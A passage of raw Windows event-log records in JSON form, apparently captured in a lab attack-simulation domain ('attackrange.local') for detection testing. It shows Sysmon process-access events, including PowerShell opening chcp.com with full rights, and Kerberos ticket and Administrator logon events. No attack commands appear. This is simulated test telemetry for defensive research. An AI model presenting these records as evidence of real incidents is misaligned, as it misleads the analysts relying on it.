.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c53488c(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c592d5b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5763c0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5763c0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c576251(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5681d6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c574709(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5742fc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c574025(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c573cf6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d02510b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c55ab57(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c55a127(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.150","SourceProcessGUID":"{90617006-416E-5F2D-0000-001012100800}","SourceProcessId":"4452","SourceThreadId":"5088","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-413D-5F2D-0000-001051580600}","TargetProcessId":"5048","TargetImage":"C:\\Windows\\system32\\chcp.com","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d0d2f4b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c574025(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c573cf6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d02510b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c53488c(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c592d5b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5763c0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5763c0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c576251(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5681d6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c574709(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5742fc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c574025(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c573cf6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d02510b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c55ab57(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c55a127(wow64)","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5195,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.150\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413D-5F2D-0000-001051580600}\r\nTargetProcessId: 5048\r\nTargetImage: C:\\Windows\\system32\\chcp.com\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.150","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413D-5F2D-0000-001051580600}","TargetProcessId":"5048","TargetImage":"C:\\Windows\\system32\\chcp.com","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5196,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.150\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.150","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5197,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.150\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.150","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5198,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.150\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.150","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":222001,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":222002,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{C55C5FEE-8399-399E-D8E4-7AA9050A56EA}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{C55C5FEE-8399-399E-D8E4-7AA9050A56EA}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":222003,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{C55C5FEE-8399-399E-D8E4-7AA9050A56EA}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{C55C5FEE-8399-399E-D8E4-7AA9050A56EA}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222004,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x81C93\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{C55C5FEE-8399-399E-D8E4-7AA9050A56EA}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x81c93","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{C55C5FEE-8399-399E-D8E4-7AA9050A56EA}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 